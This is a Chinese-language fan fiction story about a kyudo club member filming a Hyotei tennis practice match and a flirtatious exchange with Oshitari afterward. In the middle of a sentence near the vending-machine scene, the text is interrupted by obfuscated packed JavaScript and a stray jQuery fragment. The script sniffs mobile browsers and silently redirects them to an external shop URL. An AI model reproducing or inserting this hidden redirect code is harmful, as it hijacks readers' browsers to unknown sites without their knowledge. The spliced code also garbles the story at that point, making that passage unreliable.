八月十八日上午,弓道部的训练在十二点二十分结束。
最后一组退场以后,小町才松开发网。汗水沿着额角滑下来,她用手背擦过,将弓弦从弓梢上卸下,盘好放进弦卷,又检查了一遍弽的内侧。
松田抱着箭筒从她身后经过,走出两步,又倒了回来。
“学姐,你下午要去男子网球部?”
小町正在记录本上补最后一轮成绩,闻言抬起头。
“真帆让水野拍一点全国大会前的训练素材,我过去帮忙。”
“藤崎学姐也叫我了。”
“你不是要回家?”
“所以我拒绝了。”松田回答得十分坦然,“不过我很好奇,藤崎学姐究竟问了多少人,最后才找到愿意去的。”
小町合上记录本。
“她第一个问的就是我。”
“哦。”
“你这个‘哦’是什么意思?”
“就是知道了。”松田把箭筒放回器材架,嘴角还压着一点笑,“学姐快去吧,男子网球部一点半开始。”
“你怎么也知道?”
“藤崎学姐在群里说了三遍。”
“……”
“第二遍还特意圈了你。”
更衣室里传出几个人的笑声。
小町将记录板夹到腋下,腾出一只手把松田推向门外。
“今天的器材登记归你。”
“公报私仇!”
“这是前辈合理分配工作。”
“千岛学姐,你刚才明明——”
木门在松田面前合上,剩下的话被关在了走廊里。
小町换下弓道服,在淋浴间简单冲去身上的汗。暑假里的更衣室依旧闷热,吹风机一开,热风便把镜子上方悬着的纸条吹得哗啦作响。她只将发根吹干,浅金栗色的长发束成高马尾,发尾还有一点湿。
藤崎借来的DV机放在她的手提包里。
昨天晚上,藤崎把拍摄要求发了满满一页,开头写“自然记录”,后面依次列出选手热身、教练指导、团队氛围、全国大会前的精神面貌,以及“一些具有青春气息的意外镜头”。
小町问她最后一项是什么意思。
藤崎只回了一句:
【意外镜头如果可以提前说明,就不叫意外了。】
到达连廊时,水野已经等在那里。
她刚结束女子部的训练,网球包还背在肩后,遮阳帽的边缘被汗水洇湿了一小圈。看见小町,她先看了眼时间。
“还有十五分钟。来得及。”
“真帆说最好从热身开始拍。”
“她早上也提醒了我。”水野从包里找出钥匙,“连续发了四条。”
“比给我多一条。”
“最后一条是让我监督你不要只拍忍足。”
小町停下脚步。
水野已经快步走向球场,像是完全没有发现自己刚才说了什么。
“绘里。”
“嗯?”
水野的声音里带着十分明显的笑。
“你走快一点啦,摄影师。”
暑假的冰帝比平日安静许多。教学楼的窗户大多关着,操场被阳光晒得发白,只有体育设施附近仍旧热闹。棒球从远处飞过球场的声音很沉,田径部的口令一阵一阵传来,蝉鸣落满道路两侧的树。
男子网球部的中央球场已经围了不少人。
今天没有观众席,外侧观察区站着网球部候补成员和几名女子部部员。球车并排停在遮阳棚下,白色毛巾搭在扶手上,冰桶里的运动饮料只剩下半箱。
小町刚走近,向日便从人群里探出头。
“你真的来了!”
他这一声喊得毫无遮掩,附近几个人同时回头。
小町把DV机从包里取出来。
“藤崎让我拍素材。”
“她昨天也问我能不能拍。”向日说,“我说训练的人怎么拍。”
“看来她已经问遍了全校。”
“她还问了宍户。”
宍户正蹲在场边系鞋带,头也没抬。
“我拒绝了。”
“你拒绝得太快,她才来问我。”向日抱怨,“我又不是没有训练。”
凤把两瓶水从冰桶里拿出来,递给他们。
“所以最后拜托了水野学姐?”
“还有小町。”向日说完,朝球场里扬了扬下巴,“忍足在那里。”
小町顺着他的视线看过去。
忍足站在球网右侧,正在与日吉热身。他摘了眼镜,额前的碎发被汗水压低,深蓝色训练服的背后已经湿了一片。日吉的回球紧贴底线,他向后滑开半步,反拍把球削回。网球落地后几乎没有弹高,日吉弯腰追上,下一拍又被送向空出的另一侧。
两个人都没有留力。
向日凑到DV机旁:“打开了吗?”
“还没有。”
“快开。忍足刚才已经被日吉破发一次了。”
“现在几比几?”
“三比四。”
“你为什么这么高兴?”
“因为他上午说十五分钟就能结束。”
向日一边说,一边朝里面喊:“忍足!你十五分钟已经用完了!”
忍足刚刚抛起发球。听见声音,他的动作没有停,球拍从肩后挥下,网球落向日吉的外角。
“岳人,”他隔着球场说,“你可以安静十五分钟吗?”
忍足走回底线,弯腰接住日吉打来的球。直到下一分开始前,他才抬起头,视线越过围网,准确地落在小町身上。
他的神情停了一瞬。
向日站得离小町很近,看得清清楚楚。
“喂,你刚才是不是笑了?”
“没有。”
“你明明——”
发球已经越过球网。
向日差点被砸到,立刻向旁边跳开。
“忍足!”
“站在场边就不要挡球。”
“你故意的吧!”
小町把DV机打开,取景框里先闯进向日气冲冲的半张脸,随后是凤伸手将他拉到安全区域的画面。
“青春气息的意外镜头。”她说。
水野笑着把镜头转向球场。
“这个可以保留。”
比赛从第四局末段继续。
日吉的打法与向日完全不同。他不急着上网,站位压得很低,每一拍都用足力量,球落向底线时带着向前冲的气势。比分领先以后,他也没有收敛,接发仍旧直逼忍足的反手。
忍足连续退了几步。
阳光铺满球场,白线被照得刺眼。网球在最高点落下来,他没有直接回击,拍面稍稍后仰,把日吉的重球卸成一记极浅的短球。
日吉已经启动。
他冲到网前,球拍从下方将球挑起。网球刚刚越过球网,忍足也到了。
两个人之间只隔着一层网。
日吉绷紧肩膀,准备接下一拍。忍足的球拍已经挥到一半,却在触球前轻轻转动拍面,将球送向他刚刚离开的底线。
日吉回过头。
网球压线落下。
四比四。
场边响起几声口哨。
宍户抱着手臂,皱了一下眉。
“他刚才一开始就在等日吉上网。”
向日哼了一声:“故意把人引过去,真讨厌。”
“你们是搭档吧?”水野问。
“所以我才知道他有多讨厌。”
场内的忍足似乎听见了,转球拍时朝这边看了一眼。
小町的镜头正对着他。
他隔着围网与摄像机的黑色圆形镜头对视片刻,抬手重新戴上眼镜。
下一局由日吉发球。
他的第一记发球压向中路,忍足侧身避开正面力量,反拍将球切向边线。日吉追到落点,回出一记直线,忍足的球拍却早已等在那里。
球来得越快,他的动作越显得轻。
他像是终于从前几局漫长的试探里醒了过来,开始在日吉最习惯的位置上抢走节奏。深球将人钉在底线,下一拍忽然落到网前;日吉刚刚追上短球,忍足又用高球把他送回去。
他并不急着结束。
一次次调动中,那点属于天才的坏心眼逐渐显露出来。忍足知道日吉会追,也知道他绝不肯放过任何一球,于是把空当放在看得见的地方,再赶在对方抵达以前将它移开。
日吉的鞋底在场上擦出急促的声响。
四十比十五。
忍足在接发前又向场外看了一眼。
这次时间很短,几乎只是视线随意掠过。下一秒,他便将日吉的发球截在上升点,网球贴着边线飞出去。
五比四。
小町将镜头稍微拉近。
DV机的画质有限,阳光又过于强烈,取景框中的人影边缘泛着一圈浅白。忍足走向场边,接过凤递来的毛巾。他一边擦汗,一边听迹部说话,偶尔点头,神态又恢复成平日那副游刃有余的样子。
只有胸口仍在明显起伏。
小町透过镜头看了一会儿。
向日忽然从旁边伸出手,挡住整个画面。
“你真的一直在拍忍足。”
“他正在比赛。”
“日吉也在比赛。”
“所以你不要挡住日吉。”
向日把手挪开。
“那你刚才拍到我了吗?”
“拍到了。”
“什么时候?”
“差点被网球砸到的时候。”
“不许放进校刊!”
“校刊不能播放录像。”
“那也不许给真帆!”
小町还没回答,迹部已经朝场边看过来。
“向日。”
向日立即收回按在摄像机上方的手。
“什么?”
“很闲?”
“我在帮忙拍训练。”
“下一场你和凤热身。”
“现在?”
“你还想等到全国大会结束?”
向日抓起球拍便走,经过忍足身边时还不忘小声告状:“千岛只拍你。”
“是吗?”
忍足拧开水瓶,语气听上去很平常。
向日盯着他的脸。
“你高兴得太明显了。”
“也可能是看见岳人终于要训练了。”
向日朝他翻了个白眼,拖着凤去了旁边球场。
最后一局开始。
日吉显然也发现了忍足的变化。他没有继续跟着对方的节奏奔跑,接连几次将回球压向中路,逼忍足先做决定。
三十平。
忍足的发球局。
他站到底线后方,低头拍了几次球。汗水从下巴落进衣领,手腕上的护腕也已经湿透。
球抛向高处。
发球落在日吉反手外角。日吉追出去,回球沿直线而来。忍足提前侧身,肩膀却在挥拍的一刻转向另一侧。
日吉立即向中路移动。
网球擦过拍面,轻得几乎没有声音。
短球。
日吉硬生生停住脚步,再向前冲。忍足已经压到网前,他赶在球第二次落地前将它挑起,低喝一声,球拍向忍足脚边抽去。
那一球来得又快又低。
忍足向后撤已经来不及,索性将重心压下去,球拍贴近地面,从一个近乎勉强的角度把球捞了起来。
回球很高。
日吉抬头,抓住机会起跳。
球拍用力扣下。
忍足已经向左移动。
就在日吉挥拍的瞬间,他又改变方向,右脚重重蹬过地面。网球落地后向场外弹出,他追到白线外,身体仍保持着奔跑的惯性,只用手腕一带,将球从网柱外侧送了回去。
球绕过网柱,擦进边线。
四十比三十。
场边安静了一拍,随即响起杂乱的惊叹声。
忍足站稳,回头确认落点。
风从球场上掠过,吹动他训练服的下摆。他抬起手腕擦过下巴,望向日吉时,嘴角扬起一点极淡的弧度。
像在说,他等这一球已经等了很久。
日吉握紧球拍。
“还没结束。”
忍足略微偏过头,抬了抬下巴。神情松散得近乎可恶。
“那要看你下一球。”
最后一分拖得很长。
日吉不肯再给他轻易改变节奏的机会,每一拍都打得干脆,网球连续压在底线以内。忍足在左右两侧来回奔跑,鞋底扬起细小的砂土。
第十一拍,日吉将球打向空出的正手位。
忍足赶到时,击球点已经很低。
他没有强行回出直线,球拍由下向上划过,网球升到日吉头顶。日吉迅速后退,仰头判断落点。
球正在往底线坠。
他抬拍准备扣杀。
忍足却站在网前,抬起脸看他,仿佛早已知道这一球会从哪里回来。
扣杀落下。
球拍迎上去。
网球在拍面停留的时间短得无法察觉,随后被卸去全部力量,沿着球网滚落。
日吉刚刚从后场冲出来,球已经落地。
六比四。
裁判报出比赛结束。
小町握着DV机,镜头仍然对着场内。忍足从网前走过,与日吉握手。日吉的呼吸很急,手腕也因连续的强力击球而轻轻发抖,眼睛里的不甘却亮得惊人。
向日已经结束热身,拎着球拍从隔壁场地跑回来。
“你最后那一球明明可以直接打!”
“直接打也有可能被接到。”
“所以非要先把日吉骗到后面?”
“保险一点。”
日吉冷着脸从两个人中间走过。
“前辈的保险很令人讨厌。”
“谢谢。”
“我没有夸你。”
“听出来了。”
日吉的脸色更差,抱着毛巾走向休息区。凤在旁边憋了半天,还是转开脸笑了。
忍足接过水瓶,刚喝了一口,向日又凑过来。
“而且你今天后面突然打得那么花哨,给谁看?”
“日吉。”
已经走出几步的日吉停住。
“请不要把责任推给我。”
“那就是迹部。”忍足从容地换了一个答案,“部长在看,总要认真一点。”
迹部坐在遮阳棚下翻过记录表。
“本大爷从第一局就在这里。”
向日立刻抓住机会:“听见没有?你前面根本没认真!”
“可能进入状态比较慢。”
“你以前怎么没这么慢?”
“年纪大了。”
“拜托我们同年!”
球场周围笑成一片。
小町没有移开摄像机。镜头跟着几个人轻微晃动,先拍到向日挥舞的球拍,又拍到日吉冷淡的侧脸,最后停在忍足身上。
他正好看过来。
隔着一段球场,像是准确找到了镜头后面的眼睛。
小町没有躲。
忍足抬起手里的水瓶,朝她轻轻碰了一下瓶身,算作招呼。
DV机的画面因此晃了一下。
下一场训练开始前,迹部召集正选去看全国大会的出场安排。藤崎需要的素材已经拍得差不多,水野被女子部的一年级叫走,临走前告诉小町还要十分钟才能结束。
小町拿着DV机去了自动贩卖机旁。
机器安在树荫里,金属外壳仍被晒得发热。上方的遮雨棚挡住阳光,屏幕终于看得清楚一些。
她将录像倒回最后一局。
画面里不断传出向日的声音,偶尔还有凤劝他不要站得太靠近球场的提醒。镜头跟随网球来回转动,拍得算不上专业,却也没有完全辜负藤崎的要求。
小町找到最后一分,重新播放。
忍足追向边线。
回球越过网柱。
日吉扣杀。
画面忽然抖了一下,忍足最后那记截击被向日伸过来的手臂遮住了一半。
“这就是藤崎要的训练素材?”
声音忽然从身后响起。
小町没有回头。
“观看以前应该先打招呼。”
“我打了。”
“什么时候?”
“走过来的时候。”
“我没听见。”
“你看得太认真。”
忍足站在她身后,微微俯下身。
DV机的屏幕很小,从他的角度只能看见反光。小町下意识把机器向上抬了些,又将屏幕往后转,让他能够看清。
“这里被向日君挡住了。”
“嗯。”
“所以最后一球几乎没拍到。”
身后没有立即回答。
小町以为他仍然看不清,又往后退了小半步。
她的肩膀轻轻碰到他胸前。
很短的一下。
短到她没有意识到,只调整了一下握住DV机的手指,把画面重新倒回去。忍足却像突然忘了接下来要说什么,呼吸停在她头顶上方。
她刚在更衣室洗过头。
被太阳晒暖的发梢留着很淡的柚子香,随着她仰头看屏幕的动作靠近,混进球场的砂土味与他身上尚未散去的汗意里。
忍足原本只想看清画面。
此刻只要再低一点头,下巴便会碰到她的发顶。他甚至能看见她束发皮筋上缠着的一根浅色发丝,也能看清她握着摄像机时微微泛白的指节。
“这里。”小町按下暂停,“你刚才是不是故意看镜头?”
“……什么时候?”
她终于察觉他的声音比刚才近。
小町侧过脸。
忍足站在她身后,低头时,镜片的边缘几乎碰到她的鬓角。两个人之间的距离被DV机小小的显示屏占满,屏幕已经暗下去,黑色反光里映出靠得过近的两张脸。
谁都没有立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842523|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻动。
自动贩卖机的制冷设备忽然启动,发出一声轻响。
小町的手指误碰到播放键。
向日的声音猛然从扬声器里冲出来:
“你刚才是不是笑了!”
她吓得手腕一抖。
忍足也向后退了半步,肩膀撞上自动贩卖机,整排饮料跟着轻轻震了一下。
小町回头看他。
“你撞疼了吗?”
“还好。”
“声音很响。”
“机器比较空。”
小町看了一眼装得满满当当的饮料格。
忍足也顺着她的视线看过去。
“可能里面的结构比较复杂。”
这个解释比刚才的撞击声更加可疑。
小町转回去,重新看录像。她的脸颊也有一点发热,只是背对着忍足,暂时不打算让他知道。
身后的距离重新拉开了。
这一次忍足站到了她旁边。
“最后那球没拍到也没关系。”他说。
“真帆会抱怨。”
“就说岳人妨碍拍摄。”
“我已经准备这样说了。”
“那还有什么问题?”
“最后一球挺好看的。”
忍足转头看她。
小町仍盯着屏幕,指尖拖动进度条,把那一小段模糊的画面又放了一遍。
镜头剧烈摇晃。
只能看见日吉奔向前场,网球落下,以及忍足站在球网另一侧的影子。
“可惜了。”她说。
忍足没有立刻接话。
他低头转了转咖啡罐,拇指从拉环上缓慢擦过去,几秒后才重新看向屏幕。
“要重打一遍吗?”
“日吉君会同意?”
“可能要先激他两句。”
“然后他会更想赢。”
“这样才有意思。”
“为了十秒录像重新打一场,你们网球部很闲吗?”
“可以只重打最后一球。”
“前面的回合怎么办?”
“省略。”
“太敷衍了。”
“藤崎不会知道。”
“我知道。”
忍足低头看着她。
“那就没办法了。”
“什么?”
“只能请千岛记住。”
小町按停录像。
“我为什么要替你记?”
“你刚才说好看。”
“好看的东西很多。”
“今天这里还有别的吗?”
“日吉君的扣杀也不错。”
“……”
“凤君的发球更好看。”
忍足移开视线,低头拉开刚买来的罐装咖啡。
金属拉环发出清脆的一声。
小町看着他的侧脸。
“生气了?”
“没有。”
忍足喝了一口咖啡,“幸好录像还能删除。”
小町立刻把DV机抱到另一侧。
“这是校刊的财产。”
“我只删凤的发球。”
“输不起。”
“至少最后一球要公平竞争。”
“你赢了比赛,为什么还要跟别人的发球竞争?”
“千岛先提起的。”
两个人正说着,向日抱着一叠纸从部室里跑出来。
“忍足,你还在这里干什么?名单贴了!”
“看见了。”
“你什么时候看见的?”
“迹部刚才发过。”
“那你为什么不告诉我,我和日吉被排到双打二号?”
跟在后面的日吉冷淡地开口:“因为前辈一直在说话。”
“我是在问他!”
“名单是教练决定的,问忍足前辈也没用。”
“我当然知道。我只是——”
“岳人。”忍足打断他,“你可以先看路。”
向日回过头时已经来不及,手里的纸撞在公告板边缘,散了一地。凤连忙过来帮忙,宍户站在旁边嫌弃他添乱,几个人很快围成一团。
小町走过去。
全国大会四分之一决赛的出场名单已经贴在公告板中央。
单打三号,忍足侑士。
双打二号,向日岳人、日吉若。
双打一号,宍户亮、凤长太郎。
向日将掉在地上的纸捡起来,仍旧无法接受。
“我和日吉?”
日吉也在看名单。
“前辈有什么意见?”
“你会打网前吗?”
“至少不会把体力全部用在没有必要的跳跃上。”
“你说谁没有必要?”
“谁回答就是谁。”
向日把纸塞给凤,转身便追了过去。日吉早有准备,绕开球筐向另一边走。宍户被两个人挤得向后退了一步,皱着眉让他们滚远一点。
小町忍着笑,再次看向名单。
“单打三号。”
“嗯。”
忍足站在她身边,肩上的毛巾已经换了一条,发梢仍旧湿着。
“刚才那场就是适应赛?”
“榊教练想看我和日吉的单打状态。最后的安排应该还参考了前几天的训练。”
“你早就知道自己可能打单打?”
“猜到了一点。”
“所以向日君在这里大惊小怪,你一直没有告诉他。”
“提前说了,他上午的训练也不会更安静。”
不远处,向日正在要求日吉立刻和他练习双打站位。日吉让他先把散落的纸捡完,两个人各说各的,谁也没有听进去。
小町将名单从上到下又看了一遍。
“你想打单打吗?”
忍足像是没料到她会突然问这个。
“名单已经定了。”
“我看得见。”
“那还问?”
“想听你说。”
“单打挺安静的。”
“向日君不在,确实没人骂你。”
“有点寂寞。”
向日隔着大半个场地喊:“我听得见!”
忍足笑着举了一下咖啡罐。
“耳朵还是这么好。”
“忍足!”
凤抓住向日的手臂,把他重新拉回公告板前。
小町也笑了。
“我还要去看。”
忍足正要喝咖啡,罐沿已经碰到下唇,又停在那里。
“来看谁?”
小町朝公告板抬了抬下巴。
“单打三号。”
“名字呢?”
“你不认识?”
忍足被堵了一下,手里的咖啡罐轻轻响了一声。原先凹下去的地方被他按了回来,很快又从另一边瘪了下去。
“所以,”他仍然望着她,“到底来看谁?”
小町终于察觉,他今天大概非要听到那个名字不可。
“忍足侑士。”小町说。
向日恰好从旁边跑过。
“谁叫忍足?”
忍足闭了闭眼。
“没人叫你。”
“我明明听见了。”
“日吉在等你。”
“他才没有!”
“他已经去球场了。”
向日猛地回头,发现日吉真的拎着球拍走远了,立刻追过去。
“日吉!你等等!”
忍足站在公告板旁边,罐装咖啡还握在手里。小町说完便继续向前,没有等他回答。
水野已经从女子部的器材室出来,远远朝她招手。
“拍完了吗?”
“拍完了。”
“忍足最后那一球拍到了?”
“千岛拍得特别认真。”向日不知道什么时候又绕了回来,替她回答,“可惜被我挡住了一半。”
水野接过DV机,检查了一眼。
“那怎么办?”
小町拉开书包,把相机放进去。
“没关系。”
“真帆会抱怨吧?”
“让向日君负责解释。”
“为什么又是我?”
“因为你制造了青春气息的意外镜头。”
向日一脸茫然。
“那是什么?”
“真帆的拍摄要求。”
“听起来明明是好事。”
“所以你应该高兴。”
向日想了想,竟然真的接受了。
三个人沿着校道往外走。蝉声仍旧响得厉害,下午的阳光把道路照得发白,水野说到一半,忽然想起自己把遮阳帽落在器材室,只好转身去拿。
小町站在树下等她。
忽然想起自动贩卖机前暗下去的屏幕,以及屏幕里几乎贴在一起的两个人。
她把手机举到脸前,借着黑色屏幕看了一眼。
天气确实很热。
连她的耳朵也有一点红。